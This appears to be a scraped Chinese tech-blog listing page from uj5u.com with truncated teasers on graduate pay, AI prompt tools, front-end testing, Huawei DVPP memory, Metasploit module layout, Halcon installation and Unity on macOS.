    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more